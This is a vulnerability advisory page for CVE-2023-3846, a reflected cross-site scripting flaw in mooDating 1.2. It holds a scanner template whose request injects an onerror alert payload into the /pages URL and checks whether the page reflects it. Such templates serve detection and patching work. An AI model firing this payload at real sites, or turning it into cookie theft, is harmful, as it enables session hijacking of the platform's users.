CVE-2023-3846: MooDating 1.2 - Cross-Site Scripting

2025-08-01 MooDating PoC Public

Description

A vulnerability classified as problematic has been found in mooSocial mooDating 1.2. This affects an unknown part of the file /pages of the component URL Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely.

PoC

id: CVE-2023-3846

info:
  name: MooDating 1.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A vulnerability classified as problematic has been found in mooSocial mooDating 1.2. This affects an unknown part of the file /pages of the component URL Handler. The manipulation leads to cross site scripting. It is possible to initiate the attack remotely.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the URL Handler in the pages component, potentially stealing session cookies and credentials from users of the mooDating platform.
  remediation: |
    Update mooSocial mooDating to a version newer than 1.2 that properly sanitizes URL parameters and encodes output to prevent XSS attacks.
  reference:
    - https://packetstormsecurity.com/files/173691/mooDating-1.2-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3846
    - https://vuldb.com/?ctiid.235197
    - https://vuldb.com/?id.235197
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-3846
    cwe-id: CWE-79
    epss-score: 0.05955
    epss-percentile: 0.92903
    cpe: cpe:2.3:a:moosocial:moodating:1.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: moosocial
    product: moodating
  tags: cve2023,cve,packetstorm,xss,moodating,moosocial,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/pagesi3efi%22%3e%3cimg%20src%3da%20onerror%3dalert(document.domain)%3ebdk84/no-permission-role?access_token&=redirect_url=aHR0cHM6Ly9kZW1vLm1vb2RhdGluZ3NjcmlwdC5jb20vbWVldF9tZS9pbmRleC9tZWV0X21l"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 404'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "><img src=a onerror=alert(document.domain)>", "mooDating")'
        condition: and
# digest: 490a0046304402201b644e946ad3ebdde56a2bd60c4d746fe391f6a2881dc9ba8f12a5e697b243d102201c212322fff92439fd3e489a26f2e2a8dc811ff32a687a1c4c1166b5029b05c6:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities